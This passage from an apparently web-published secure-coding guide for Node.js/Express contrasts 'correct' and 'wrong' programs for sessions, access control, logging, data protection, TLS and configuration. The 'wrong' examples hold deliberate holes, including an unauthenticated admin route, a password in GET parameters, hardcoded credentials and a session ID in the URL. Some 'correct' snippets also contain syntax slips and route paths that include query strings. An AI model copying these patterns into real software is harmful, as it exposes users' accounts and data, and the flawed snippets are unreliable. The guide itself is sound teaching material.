class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ Use session middleware<\/span> \r\napp.<span class=\"hljs-title function_\">use<\/span>(<span class=\"hljs-title function_\">session<\/span>({ \r\n<span class=\"hljs-attr\"> secret<\/span>: <span class=\"hljs-string\">'secretKey'<\/span>, \r\n<span class=\"hljs-attr\"> resave<\/span>: <span class=\"hljs-literal\">false<\/span>, \r\n<span class=\"hljs-attr\"> saveUninitialized<\/span>: <span class=\"hljs-literal\">false,\r\n cookie: { maxAge: 86400000) }<\/span>\r\n})); \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n \r\n<span class=\"hljs-comment\">\/\/ Assume this is a database that stores user information<\/span>\r\n<span class=\"hljs-keyword\">const<\/span> users = [ { <span class=\"hljs-attr\">username<\/span>: <span class=\"hljs-string\">'test'<\/span>, <span class=\"hljs-attr\">password<\/span>: <span class=\"hljs-string\">'password_hash'<\/span> } ]; \r\n \r\n<span class=\"hljs-comment\">\/\/ Check if user is logged in<\/span>\r\n<span class=\"hljs-keyword\">function<\/span> <span class=\"hljs-title function_\">isAuthenticated<\/span>(<span class=\"hljs-params\">req, res, next<\/span>) { \r\n<span class=\"hljs-keyword\"> if<\/span> (req.<span class=\"hljs-property\">session<\/span> &amp;&amp; req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span>) { \r\n<span class=\"hljs-keyword\">  return<\/span> <span class=\"hljs-title function_\">next<\/span>(); \r\n }\r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'You need to log in to continue.'<\/span> }); \r\n} \r\n \r\n<span class=\"hljs-comment\">\/\/ Login<\/span>\r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/login'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> { username, password } = req.<span class=\"hljs-property\">body<\/span>; \r\n<span class=\"hljs-keyword\"> const<\/span> user = users.<span class=\"hljs-title function_\">find<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">user<\/span> =&gt;<\/span> user.<span class=\"hljs-property\">username<\/span> === username); \r\n<span class=\"hljs-keyword\"> if<\/span> (!user || user.<span class=\"hljs-property\">password<\/span> !== password) { \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">401<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'Incorrect username or password.'<\/span> }); \r\n } \r\n \r\n req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span> = username; \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'Logged in successfully.'<\/span> }); \r\n}); \r\n  \r\n<span class=\"hljs-comment\">\/\/ Show user information after login<\/span>\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/profile'<\/span>, isAuthenticated, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> username = req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span>; \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({<span class=\"hljs-attr\">message<\/span>: `Personal information<span class=\"hljs-string\">: ${username}`<\/span>}); \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ Logout<\/span>\r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/logout'<\/span>, isAuthenticated, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'Sign out successful.'<\/span> }); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p align=\"left\">In the above example, when the user logs in successfully, we save the username information into the session and do not set the session end time. When the user logs out, the session is not destroyed and this session always exists.<\/p>\n<h3 align=\"left\">Access Control<\/h3>\n<p>Perform access testing with all sent requests including requests sent by HTTP request, Ajax to ensure that the authorization is always done correctly with the corresponding authorized account. Avoid access to unauthorized resources.<\/p>\n<p>Need to implement centralized decentralization, easy to manage and not affected by the logic of the code that performs the function of the web.<\/p>\n<p>It is necessary to limit access to important resources to authorized users.<\/p>\n<p>The application should have clear documentation of the access policy.<\/p>\n<p>When there is a change in permissions or a change in the business logic related to access rights, disable the account and terminate the session. Only when the user logs back in will the account continue to use.<\/p>\n<p>Implement a mechanism to temporarily lock accounts after a period of inactivity.<\/p>\n<p>If user data needs to be stored on the client side, it needs to be encrypted and checked for integrity on the server.<\/p>\n<p>Properly implement the principle of delegating power to the right people, with the right rights. Only authorized users have access to certain resources on the system.<\/p>\n<p>Below is the Nodejs code using the Express.js framework.<\/p>\n<p><strong>+ Correct program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ Assume this is a database that stores user information<\/span>\r\n<span class=\"hljs-keyword\">const<\/span> users = [ \r\n  { <span class=\"hljs-attr\">username<\/span>: <span class=\"hljs-string\">'user1'<\/span>, <span class=\"hljs-attr\">role<\/span>: <span class=\"hljs-string\">'admin'<\/span> }, \r\n  { <span class=\"hljs-attr\">username<\/span>: <span class=\"hljs-string\">'user2'<\/span>, <span class=\"hljs-attr\">role<\/span>: <span class=\"hljs-string\">'user'<\/span> } \r\n]; \r\n \r\n<span class=\"hljs-comment\">\/\/ Middleware checks the user's role<\/span>\r\n<span class=\"hljs-keyword\">function<\/span> <span class=\"hljs-title function_\">checkRole<\/span>(<span class=\"hljs-params\">role<\/span>) { \r\n<span class=\"hljs-keyword\">  return<\/span> <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res, next<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">    const<\/span> user = users.<span class=\"hljs-title function_\">find<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">user<\/span> =&gt;<\/span> user.<span class=\"hljs-property\">username<\/span> === req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span>); \r\n<span class=\"hljs-keyword\">     \r\n    if<\/span> (user &amp;&amp; user.<span class=\"hljs-property\">role<\/span> === role) { \r\n<span class=\"hljs-keyword\">      return<\/span> <span class=\"hljs-title function_\">next<\/span>(); \r\n    } \r\n<span class=\"hljs-keyword\">    return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">403<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'You do not have access.'<\/span> }); \r\n  }; \r\n} \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/profile'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">  const<\/span> username = req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span>; \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json({message: `Personal information: ${username}`});<\/span>\r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/admin'<\/span>, <span class=\"hljs-title function_\">checkRole<\/span>(<span class=\"hljs-string\">'admin'<\/span>), <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">  return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'Admin page.'<\/span> }); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above example, we used a checkRole middleware to check the user&#8217;s role. Route \/profile allows access to all users. The \/admin route requires the \u201cadmin\u201d role and only allows users with the \u201cadmin\u201d role to access the admin page. If they don&#8217;t have permission they will receive a 403 (Forbidden) status code.<\/p>\n<p><strong>+ Wrong program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ Assume this is a database that stores user information<\/span>\r\n<span class=\"hljs-keyword\">const<\/span> users = [ \r\n  { <span class=\"hljs-attr\">username<\/span>: <span class=\"hljs-string\">'user1'<\/span>, <span class=\"hljs-attr\">role<\/span>: <span class=\"hljs-string\">'admin'<\/span> }, \r\n  { <span class=\"hljs-attr\">username<\/span>: <span class=\"hljs-string\">'user2'<\/span>, <span class=\"hljs-attr\">role<\/span>: <span class=\"hljs-string\">'user'<\/span> } \r\n]; \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/profile'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> username = req.<span class=\"hljs-property\">session<\/span>.<span class=\"hljs-property\">username<\/span>; \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json({message: `Personal information: ${username}`});<\/span>\r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/admin'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'Admin page.'<\/span> }); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above example, the \/profile and\u00a0 \/admin routes both allow access to all users and have no permissions. This will be very dangerous because the admin page will be accessed illegally by users with role=\u201duser\u201d.<\/p>\n<h3>Error Handling and Logging<\/h3>\n<p>Need to report common errors and proceed to define error pages to return when the site encounters an error. Avoid using the framework&#8217;s default error pages because these often contain a lot of information related to the application and version.<\/p>\n<p>The log should record all important events as follows:<\/p>\n<ol>\n<li>Log all input validation errors<\/li>\n<li>Log all system exceptions<\/li>\n<li>Record all access control errors<\/li>\n<li>Record all authentication attempts, especially failed attempts<\/li>\n<li>Log the entire event of multiple login attempts or session expiration<\/li>\n<li>Log all administrative functions<\/li>\n<\/ol>\n<p>Do not store sensitive information in the log, including unnecessary system details, software version information or user passwords.<\/p>\n<p>Restrict log access to authorized users only.<\/p>\n<p>Make sure the log contains important event data such as event time, severity for each event, tags for each event, account information that performed the event, source ip, dest ip, and event description, etc.<\/p>\n<p>Error handling information should record both success and failure events to help trace when problems occur.<\/p>\n<p>Do not reveal sensitive information in error responses from the website, including system details, application versions or account information.<\/p>\n<p>Below is the Nodejs code using the Express.js framework.<\/p>\n<p><strong>+ Correct program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> winston = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'winston'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ Set up logger<\/span> \r\n<span class=\"hljs-keyword\">const<\/span> logger = winston.<span class=\"hljs-title function_\">createLogger<\/span>({ \r\n<span class=\"hljs-attr\">  level<\/span>: <span class=\"hljs-string\">'info'<\/span>, \r\n<span class=\"hljs-attr\">  format<\/span>: winston.<span class=\"hljs-property\">format<\/span>.<span class=\"hljs-title function_\">simple<\/span>(), \r\n<span class=\"hljs-attr\">  transports<\/span>: [ \r\n<span class=\"hljs-keyword\">    new<\/span> winston.<span class=\"hljs-property\">transports<\/span>.<span class=\"hljs-title class_\">Console<\/span>(), \r\n<span class=\"hljs-keyword\">    new<\/span> winston.<span class=\"hljs-property\">transports<\/span>.<span class=\"hljs-title class_\">File<\/span>({ <span class=\"hljs-attr\">filename<\/span>: <span class=\"hljs-string\">'error.log'<\/span>, <span class=\"hljs-attr\">level<\/span>: <span class=\"hljs-string\">'error'<\/span> }) \r\n  ] \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ Middleware for error handling<\/span>\r\napp.<span class=\"hljs-title function_\">use<\/span>(<span class=\"hljs-function\">(<span class=\"hljs-params\">err, req, res, next<\/span>) =&gt;<\/span> { \r\n  logger.<span class=\"hljs-title function_\">error<\/span>(err.<span class=\"hljs-property\">stack<\/span>); \r\n  res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'An error occurred.'<\/span> }); \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ Route has caused an error<\/span>\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/error'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res, next<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">  const<\/span> error = <span class=\"hljs-keyword\">new<\/span> <span class=\"hljs-title class_\">Error<\/span>(<span class=\"hljs-string\">'message error'<\/span>); \r\n<span class=\"hljs-title function_\">  next<\/span>(error); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above example, we used the winston library to create the logger and set up the logger to log error information and store it in the &#8220;error.log&#8221; file. The route \/error is used to illustrate the occurrence of an error. In this route, we generate an arbitrary error and call the next() function to pass the error to the error handling middleware. Using a logger makes it easier for us to manage our application.<\/p>\n<p><strong>+ Wrong program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ Middleware for error handling<\/span>\r\napp.<span class=\"hljs-title function_\">use<\/span>(<span class=\"hljs-function\">(<span class=\"hljs-params\">err, req, res, next<\/span>) =&gt;<\/span> { \r\n  res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'An error occurred.'<\/span> }); \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ Route has caused an error<\/span> \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/error'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res, next<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> error = <span class=\"hljs-keyword\">new<\/span> <span class=\"hljs-title class_\">Error<\/span>(<span class=\"hljs-string\">'message error'<\/span>); \r\n<span class=\"hljs-title function_\"> next<\/span>(error); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above example, do not use the winston library to create loggers and to log errors when they occur. When the program has a certain error problem, it is very difficult to investigate and fix.<\/p>\n<h3>Data Protection<\/h3>\n<p>Turn off autocomplete username and password features in the browser.<\/p>\n<p>Do not send sensitive information in HTTP GET request parameters such as username, password, token, session_id, etc.<\/p>\n<p>Remove all unnecessary comments in the source code as comments may contain user or database access information or may reveal other sensitive system information.<\/p>\n<p>Decentralize accounts according to the correct function to help limit unauthorized access or mistakenly cause data loss.<\/p>\n<p>Protect the server-side source code from being downloaded by users by decentralizing the source code directory, not revealing the source code and the source code storage path.<\/p>\n<p>Implement appropriate access controls for sensitive data stored on the server.<\/p>\n<p>Disable client-side caching on pages that contain usable sensitive information: Cache-Control: no-store in the HTTP header.<\/p>\n<p>Below is the Nodejs code using the Express.js framework.<\/p>\n<p><strong>+ Correct program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n\/\/ Search user\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/user?name=test&amp;email=test@gmail.com'<\/span>, async <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n const result = await userService.userSearch(req.<span class=\"hljs-property\">query<\/span>);\r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json(result);<\/span>\r\n}); \r\n\r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above example, the \/user route will search for the user by name and email and return the corresponding results. This name and email information are not sensitive information so you can search normally.<\/p>\n<p><strong>+ Wrong program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n\r\n\/\/ Search user\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/user?password=test123&amp;email=test@gmail.com'<\/span>, async <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n const result = await userService.userSearch(req.<span class=\"hljs-property\">query<\/span>);\r\n<span class=\"hljs-keyword\"> return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json(result);<\/span>\r\n}); \r\n\r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above example, the \/user route will search for users by password and email and return the corresponding results. Because passwords are sensitive information, this case violates security.<\/p>\n<h3>Communication Security<\/h3>\n<p>Make sure the HTTP referer does not contain sensitive information such as session_id, token, etc. Make sure these parameters are filtered from the HTTP referer before accessing another website.<\/p>\n<p>When external systems make connections and access information to our systems, we need to ensure that there is a TLS connection.<\/p>\n<p>Implement encryption to transmit all sensitive information using TLS for transmission encryption to help protect the connection<\/p>\n<p>It is necessary for the website to always use a TLS connection for all content that requires authenticated access and for all access operations.<\/p>\n<p>The UTF-8 encoded character set can be used for encoding connections.<\/p>\n<p>Below is the Nodejs code using the Express.js framework.<\/p>\n<p><strong>+ Correct program<\/strong><\/p>\n<pre>const https = require('https'); \r\nconst fs = require('fs'); \r\nconst express = require('express'); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">443<\/span>; \r\nconst app = express(); \r\n  \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/secure'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> {\r\n  console.log(<span class=\"hljs-string\">'Data is transmitted securely.');<\/span>\r\n\u00a0 res.redirect('https:\/\/example.com'); \r\n});\r\n \r\n\/\/ Create server HTTPS\r\nhttps.createServer({\r\n key: fs.readFileSync('\/path\/to\/private-key.pem'), \r\n cert: fs.readFileSync('\/path\/to\/certificate.pem')\r\n}, app).listen(port);<\/pre>\n<p>In the above example, we used the https module to create a server using the HTTPS protocol. When a user accesses the \/secure route, data is securely transmitted over HTTPS and redirected to a https:\/\/example.com domain, ensuring that information cannot be stolen or modified during the transmission and that HTTP referers do not contain sensitive information.<\/p>\n<p><strong>+ Wrong program<\/strong><\/p>\n<pre>const https = require('https'); \r\nconst fs = require('fs'); \r\nconst express = require('express'); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">443<\/span>; \r\nconst app = express(); \r\n \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/secure?session_id=xxx'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n\u00a0 res.redirect('https:\/\/example.com'); \r\n});\r\n \r\n\/\/ Create server HTTPS\r\nhttps.createServer({\r\nkey: fs.readFileSync('\/path\/to\/private-key.pem'), \r\ncert: fs.readFileSync('\/path\/to\/certificate.pem')\r\n}, app).listen(port);<\/pre>\n<p>In the above example, when a user accesses the \/secure route, it will redirect to a domain https:\/\/example.com. This time the HTTP referer contains sensitive information called session_id and can be accessed from the domain https:\/\/example.com.<\/p>\n<h3>System Configuration<\/h3>\n<p>It is necessary to have a source code management system, version history, change history, and change log of all components in the system to manage easily and limit security risks.<\/p>\n<p>The dev, test, and production environments need to be set up to isolate and not share resources and databases. Helps to control data well as well as avoid the risk of attacking the test system and then attacking the production system.<\/p>\n<p>Removing unnecessary information from the HTTP response related to the operating system, web server version, debug information or source code helps prevent attackers from collecting and serves as the basis for deeper attacks on the website.<\/p>\n<p>Remove test or debug code from the source code or any non-production functionality before deploying.<\/p>\n<p>It is necessary to turn off the Directory listing function on the webserver to help limit the disclosure of sensitive files, files containing important information.<\/p>\n<p>Make sure the server, OS, framework, and system components are using a secure version with no vulnerabilities, preferably the latest version.<\/p>\n<p>Ensure the server, OS, framework, and system components are always updated with security patches from the developer to prevent hackers from exploiting publicly available security exploits.<\/p>\n<p>Below is the Nodejs code using the Express.js framework.<\/p>\n<p><strong>+ Correct program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ Read environment variables for database configuration<\/span>\r\n<span class=\"hljs-keyword\">const<\/span> dbConfig = { \r\n<span class=\"hljs-attr\">  host<\/span>: process.<span class=\"hljs-property\">env<\/span>.<span class=\"hljs-property\">DB_HOST<\/span>, \r\n<span class=\"hljs-attr\">  username<\/span>: process.<span class=\"hljs-property\">env<\/span>.<span class=\"hljs-property\">DB_USERNAME<\/span>, \r\n<span class=\"hljs-attr\">  password<\/span>: process.<span class=\"hljs-property\">env<\/span>.<span class=\"hljs-property\">DB_PASSWORD<\/span>, \r\n<span class=\"hljs-attr\">  database<\/span>: process.<span class=\"hljs-property\">env<\/span>.<span class=\"hljs-property\">DB_DATABASE<\/span><span class=\"hljs-string\">'<\/span> \r\n}; \r\n \r\n<span class=\"hljs-comment\">\/\/ Make a database connection<\/span>\r\n<span class=\"hljs-keyword\">function<\/span> <span class=\"hljs-title function_\">connectToDatabase<\/span>(<span class=\"hljs-params\">config<\/span>) { \r\n<span class=\"hljs-comment\">  \/\/ Write the code to connect to the database here<\/span>\r\n} \r\n \r\n<span class=\"hljs-title function_\">connectToDatabase<\/span>(dbConfig); \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above example, we used environment variables to store database configuration information such as DB_HOST, DB_USERNAME, DB_PASSWORD, and DB_DATABASE. By using environment variables, we can easily adjust the system&#8217;s configuration without modifying the source code and help reduce the risk of revealing important information such as passwords in the source code, creating favorable conditions for more secure deployment and configuration management.<\/p>\n<p><strong>+ Wrong program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n\r\n<span class=\"hljs-keyword\">const<\/span> dbConfig = { \r\n<span class=\"hljs-attr\"> host<\/span>: 'host', \r\n<span class=\"hljs-attr\"> username<\/span>: 'username', \r\n<span class=\"hljs-attr\"> password<\/span>: 'password', \r\n<span class=\"hljs-attr\"> database<\/span>: 'database<span class=\"hljs-string\">'<\/span> \r\n}; \r\n\r\n<span class=\"hljs-comment\">\/\/ Make a database connection<\/span>\r\n<span class=\"hljs-keyword\">function<\/span> <span class=\"hljs-title function_\">connectToDatabase<\/span>(<span class=\"hljs-params\">config<\/span>) { \r\n<span class=\"hljs-comment\"> \/\/ Write the code to connect to the database here<\/span>\r\n} \r\n\r\n<span class=\"hljs-title function_\">connectToDatabase<\/span>(dbConfig); \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above example, we do not use environment variables to store database configuration information but write the value directly in the code. If written this way, when adjusting the system configuration, the source code will be modified and there is a risk of revealing important information such as passwords in the source code, making it difficult to manage configuration and deploy safely.<\/p>\n<h3>Database Security<\/h3>\n<p>Each account connected to the database needs to be clearly and separately authorized according to its functions, tasks, and permissions.<\/p>\n<p>Default accounts, unused accounts for system requirements need to be removed from the system.<\/p>\n<p>Close the database if it is no longer accessible.<\/p>\n<p>Database connection strings need to be stored in separate config files and should be securely encrypted using strong encryption algorithms.<\/p>\n<p>The account\/password to access the database should be strong enough, not using default or easily guessed credentials.<\/p>\n<p>The database needs to run with the user with the lowest privileges, is clearly decentralized, and can only access certain databases to help prevent attacks and data exploitation of other databases.<\/p>\n<p>Need to validate the input data before executing the query.<\/p>\n<p>Using parameters for SQL query statements keeps the query and data separate. Instead of string concatenation in the SQL query, parameters are passed through variables. This helps prevent SQL 